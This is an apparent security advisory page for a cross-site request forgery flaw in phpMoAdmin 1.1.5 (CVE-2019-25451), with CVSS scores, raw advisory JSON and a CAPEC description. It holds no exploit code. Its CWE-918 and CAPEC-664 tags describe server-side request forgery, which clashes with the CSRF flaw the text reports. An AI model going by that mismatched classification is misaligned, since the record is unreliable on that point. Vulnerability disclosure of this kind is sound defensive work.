phpMoAdmin 1.1.5 contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized database operations by crafting malicious requests. Attackers can trick authenticated users into submitting GET requests to moadmin.php with parameters like action, db, and collection to create, drop, or repair databases and collections without user consent.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-20T23:16:01Z",
    "severity": "MODERATE"
  },
  "details": "phpMoAdmin 1.1.5 contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized database operations by crafting malicious requests. Attackers can trick authenticated users into submitting GET requests to moadmin.php with parameters like action, db, and collection to create, drop, or repair databases and collections without user consent.",
  "id": "GHSA-fhrj-59h8-j7gf",
  "modified": "2026-02-21T00:31:43Z",
  "published": "2026-02-21T00:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25451"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46082"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmoadmin-cross-site-request-forgery-via-moadminphp"
    },
    {
      "type": "WEB",
      "url": "http://www.phpmoadmin.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list